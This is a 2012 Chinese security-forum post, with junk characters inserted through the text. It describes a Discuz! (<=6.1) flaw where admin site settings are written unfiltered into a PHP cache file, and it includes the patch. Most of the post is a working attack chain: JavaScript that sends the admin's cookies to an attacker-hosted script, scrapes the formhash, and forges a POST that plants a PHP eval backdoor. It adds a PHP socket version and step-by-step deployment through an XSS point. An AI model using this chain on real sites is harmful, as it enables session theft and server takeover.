找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3827|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell- U8 j' W; o) t& O, {, r; X
By racle @tian6.com+ x1 I4 z( x* X$ Q/ ]" O
欢迎转帖.但请保留版权信息.3 R6 e+ ]4 _( E* |
受影响版本iscuz<=6.1.0,gbk+utf+big55 o1 R8 d1 S5 I
3 R0 c% O0 ~% C/ V
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
5 P+ t' J, f$ w1 ~% `4 I* K4 u
7 z2 q2 Q% I. K9 A2 b
* q" k6 B7 K; Y3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
- w& o* V7 S! y4 S  w当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.4 ^; y+ q# I6 p, J% ^& p
) p7 T& o9 U7 V* [# h- h1 t2 t
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..8 a$ _# A) g( O2 e: U3 K
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS7 k" G# l' S8 @2 [1 [7 H- u6 x

1 g8 A' I% k( o' q. \3 H' \) t3 I% c, n  H
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
2 b% V4 w' Z  h3 i. K" J0 K: x: A3 k& r; h6 Z

/ V; K0 }. q4 `) kproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.& y# _* n. [- f1 w, v* H/ z& F% G

6 c" u9 N5 _) v6 f0 Y% _( iproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
. Q) p" d8 N2 B
3 R( Y) M4 p5 ^! k5 f! N" Cproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ X. ]" g) Y  p& }8 J) h; G9 i" z, s0 J8 r  H/ P$ Q/ s  d

5 D& R; M- M9 v; J( d# W) }2 w下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {2 \- c) n  J+ r; L: q. r

1 ~; O' A- E! K4 a# ~        global $runwizardfile, $runwizardhistory;$ z- F, |+ M5 S/ d1 O
% @# ?+ H2 Q: i
        $fp = fopen($runwizardfile, 'w');7 {8 p- j9 r( \3 U5 V. k! B% N

; E8 I) ~  J4 w4 m% ^        fwrite($fp, serialize($runwizardhistory));  p& k# ]. C9 t7 a
" L5 o+ M. \7 O5 `: T( d4 g
        fclose($fp);
( y0 v) l; K( \6 V4 D' G/ o& a; k1 D/ A* [+ o/ Q) Y9 k
}
0 x* [; j  j: C' R  l# o' [9 |1 q复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.6 ?1 L; A1 O9 L" r5 {' ]- ?. [
以下是修补的办法:function saverunwizardhistory() {
% H5 c" L0 b8 x5 u: G
* z7 V' k7 R, U0 V0 R4 N( C) L        global $runwizardfile, $runwizardhistory;
* ?+ H' a# C0 _1 i9 Z3 i; ]) W  ?7 f5 c' j
        $fp = fopen($runwizardfile, 'w');& C/ ?( ]) [* `* P9 o& G
' s; b: a/ O: i8 P
        $s = '<?php exit;?>';
+ B) b! u, p& J, A9 J% V% l$ m  B  n1 Q3 V
        $s .= serialize($runwizardhistory);: Q1 E4 L9 h/ V9 C+ R! k2 J
- n) ^; W) b  S( U) H. {/ l
        fwrite($fp, $s);
7 n( I. d. I) z% {: d; t- J- ]) _: D6 J; p' c8 `
        fclose($fp);1 x! y" c$ N" F
" ^/ F- s/ E6 l, D0 x! [: D5 t
}+ D% e2 T6 S4 e2 j8 ^7 X
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行." d2 A+ n& p3 F' F3 V& G$ y
9 \" h# S, o3 L! `2 {; x
7 x1 h1 R" I5 Z" G0 f2 b6 w' z& q+ B

/ {( P" O0 ~3 s4 A+ ~& ]----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------4 h' h* X2 M* z
+ c8 X/ N% l- C  A
3 i  Z: F! v' K+ ]
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.# P! R$ n9 D4 [; a

: `% k0 c1 Q1 B5 K8 i8 j- Z我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
3 t% j+ i* F# x* k$ O7 b: D1 O  A$ R- q
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
5 f" L! v- y! ^$ t2 h
6 e/ L$ h0 [. W/ m0 m首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:2 B5 d& a2 b* X4 o/ L+ S
* g7 z1 E0 U4 \5 A" u- f* D
var url="http://目标网站/admincp.php";      & P! B6 p% v( u3 k, G' C- g

! r( [/ {; _. W5 [9 V! ]6 Q$ K6 d/*获得cookies*/  Z, Y; L5 J! O3 o7 L1 v! p

/ I7 T/ E. m1 ^9 H6 k8 mfunction getURL(s) {2 }$ \, B' t4 K; _4 L

& L/ y, n/ E. U0 N# Uvar image = new Image();
6 k0 e5 Z% q& n7 F: W) i
& k7 c$ O& m) B1 h0 T; ]image.style.width = 0;
* L4 _( G8 V) ^) v6 j6 ~
+ P6 M$ V; o+ b5 a2 g& B$ qimage.style.height = 0;  j: R2 Z: {$ s
( |+ b9 S' F' R
image.src = s;- J- ^/ I# f  Z+ W$ o
# z) Q# y; [9 G- d
}
' Y* j5 a, ]4 A% K$ J2 D
4 W  G! r- _- Y" BgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php7 c2 c. J5 D, v' ~8 Z+ ^
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
6 M6 a, x: D5 I$ `复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
, \5 U: f7 x- u( S8 k
  f& Z% h6 k! v4 `8 H" Z) E, o
* {3 D5 [) L5 g% B, [( Y5 o获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";3 X2 k, O8 ]/ a' ?
! L, Z- j% V: K; F6 n" r# E$ n
& h: q+ y3 k: l  z% a
4 |: }! k" y- A7 i& z0 }* v
/*hash*/
: d/ X% o" T( p' k: T. Q! X4 K/ B. N, P6 D1 h. q" E) A
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
/ D/ o* G9 a- D( a3 a9 l  v2 q6 g8 \
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);) y! U* W1 l4 k: ?! v; u

: R9 U; p: c' LxmlHttpReq.send();
/ ~( L  ^0 s9 H: m
3 @' J: o" d* Y0 r3 n, Dvar resource = xmlHttpReq.responseText;
9 {# f! I. M- l3 Z; N' R) \5 i
& o, d" I5 O; N" K, bvar numero = resource.search(/formhash/);
" ]' v# ], p. F) l
3 H2 `) r  U9 N$ X' t$ R/ z- |var formhash=encodeURIComponent(resource.substr(numero+17,8));- o+ F) P# a- J4 _& T  b6 i
! P3 Y+ W- v' L( D7 o
5 L, i# s# M: t$ Z) R% u

8 s' d0 V5 I3 hvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 % }! M; c+ Q# L% z4 A  _& D4 O

  t2 f$ C0 P2 X( j' |& XxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 , }6 a5 ^1 p6 G$ a  l9 ?

4 \  i$ Y) w( Y  L$ W( e* YxmlHttpReq.setRequestHeader("Referer", url);( F5 {; ^. P: e4 V8 F
1 z9 N! b- m5 X; o1 e1 X
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");" j: T% G4 X* ~6 H1 O" u+ v
& u. \( _) Z' V2 l
xmlHttpReq.setrequestheader("content-length",post.length); , ]2 X% w& o; m

' ]9 F+ z4 S3 t" V- PxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); * L, G, e% n, J0 G4 z* S+ x
+ F( b: O# i  U! Q* X
xmlHttpReq.send(post);//发送数据/ A4 U; a# r8 T- a
复制代码这里HASH我假设正确,这样提交,也无须cookies
3 c  Q1 f! G/ L) N: p: F. x; T+ R- r& W
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
( f8 ?: D" n* k& V8 ^% g/ C) B, b# A
if (!$sock) die("$errstr ($errno)\n");7 V8 }8 _( a* `7 [
% L- r' q& X8 L: B# j3 g
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';$ {5 j; A8 r3 G* h) W/ Q
9 h$ i- d/ X- P; P

( m# ~; T1 B2 S! z
! K/ k) G4 A4 A  pfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");$ L, A1 C& @8 N# h

2 R  T+ s  U2 N0 M2 o5 q' o4 H% |fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");% q, i' x, {  I! `/ R6 o  F

2 {) X; G+ B0 T/ T" D% Q( h3 Yfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");$ o! u) S# R7 t: b9 d5 _  ~

) B( `- f* N0 u: Ffwrite($sock, "Accept-Language: zh-cn\r\n");
' \) ]* t& k1 m& a! ?1 o' ~1 q) g, j7 J7 R, l, i( _! O
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");0 m) Y, {! J! v1 a

9 N5 E4 f8 `- [& M- l8 n- f: s* Ifwrite($sock, "Accept-Encoding: gzip, deflate\r\n");, `( o  X& z1 w3 R
2 r, K: K7 }% V1 r6 i7 x1 @
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
! B% L8 z( u  n! |- `! N' V, s+ P+ Z* q+ u8 h
fwrite($sock, "Host: $url\r\n");- Y' r' T3 p6 ^- A5 m
5 g3 s% a  k% A& ?. O2 Z
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
- d6 v" l" N) u2 b, R2 j5 C5 _6 j
3 \* K' k0 B' P% {* m: t8 nfwrite($sock, "Connection: Keep-Alive\r\n");5 K  n5 ]- u9 g3 u/ s

% z+ m, `6 x6 t% o' N' u' Yfwrite($sock, "Cache-Control: no-cache\r\n");
. P0 P  @9 Z$ ?' }! o- n* [7 ?& h' U$ l2 Z$ N9 d2 x, V" b
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
8 k3 v# V2 w, _2 }  ]! F, W  {) h# t& A& e$ A2 t% A" t
fwrite($sock, $data);" @+ U' T3 X$ y& ~3 i& K+ N

8 I) g' F8 ~, z) L2 H* W8 M1 l3 l4 v, {1 A/ P3 ?' r
! T# r, v1 ^: C* k3 K) A) C8 M1 d
$headers = "";9 r) s$ v! D5 C: T; g) ?
* [) m5 I- c& a( E) }0 d8 D9 A
while ($str = trim(fgets($sock, 4096)))
: ?! W* g. t  E6 O, C2 g1 \
& k9 y( i. [1 P     $headers .= "$str\n";/ x$ R* w2 G- |! x- i

* k1 _/ q) N, Uecho "\n";
/ Y+ x2 V; ^. _7 \% c
3 V8 b' M8 I- j( U! Y$ ~2 w$body = "";
- V2 O  E& i. G" w
7 T" P( n% J2 C  Vwhile (!feof($sock))2 _* V( ?; i) Q. ~

2 n* ?& q9 a# F9 D' K0 x     $body .= fgets($sock, 4096);3 {) T# E5 q) |! e

0 ]8 p; ~; |7 F0 \. J9 z. A) V2 Ffclose($sock);" p! N1 Q3 e; s2 [2 M. A
1 A9 Y; w$ ]0 K8 q: d0 \
echo $body;
% {; V/ Q1 y, K复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
/ f3 }$ I7 g5 T+ Q% V5 ^: M+ I1 I
3 D; B* H( B2 G. v7 ?  C' z2 a' Z$ n4 ^3 g* b
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------9 Z5 q) V2 y# b0 s$ s% B

7 Y4 L. G2 x# n  ~# L" s' k% V
% o3 _3 Y) t9 v# J, Q; {1HP SOCKET利用方法首先打开racle.js
4 T& F: f$ T2 j& o2 W' Y9 a
! F8 r' G5 _% S$ Nvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
- y0 c& F' ~/ R# ^2 h4 ?/ O* }5 S

' ]- I) ^  }/ i  K
4 o# a" u5 Z) i# P然后打开racle@tian6.php! K+ F2 {1 s9 t
7 F) m# o8 q7 r+ f+ r  V3 B+ H8 G$ p
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
# c# Y5 y- y' x  r
$ E  O, |7 C" ~0 T8 ]4 U* G
( y" O+ W/ A$ r' H0 D7 ~7 Z6 p$ u' A% C7 X
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:  i  T' H) {+ t6 Z6 y+ ^
  r2 n, c5 ^+ z% s8 l
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
0 G1 Z0 F# X* n9 U$ A2 @: h, [- ]& q1 n, I: ~7 z% B) p: a: E& U4 X
; e/ e4 V4 h$ u
1 h4 R/ `+ ]4 l3 E: T
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
5 `" N9 l. X- x$ O/ s$ ], T4 F复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.% S/ v; O% Z0 L; M, v
# x* g; ]& l, d% v
# B7 b) w  T+ P+ q& @
2 v$ h/ a# f/ ^! r# Z4 N
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
0 c. Z, R* C, `% z& J* V& B6 o, r; c/ P) ]$ L0 a
var formhash=encodeURIComponent(resource.substr(numero+17,8));
; L" r( t7 W  ~# H
1 p0 s) D$ b4 m* t, w  E' C8 @
: Z  u. U' @! l/ T% D7 A! `, u9 K; N1 m
var formhash=encodeURIComponent(resource.substr(numero+9,8));( M' _: w+ c) S, D: ~+ }
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
8 N  r% l6 o. S& Y2 a2 P  B5 f7 V$ d$ x2 s6 k: }, i- M
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点./ t- r+ s5 f7 ]1 S' m: ^
$ `6 a0 {3 u/ Q* w% r
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点." C# k/ ~* M3 @7 n& g

) }9 N9 n$ W) |$ j; y  F! y! c; p不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.: R( x& Z4 d* ~: J0 N' y( P
5 n1 L8 X6 j- \, s1 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表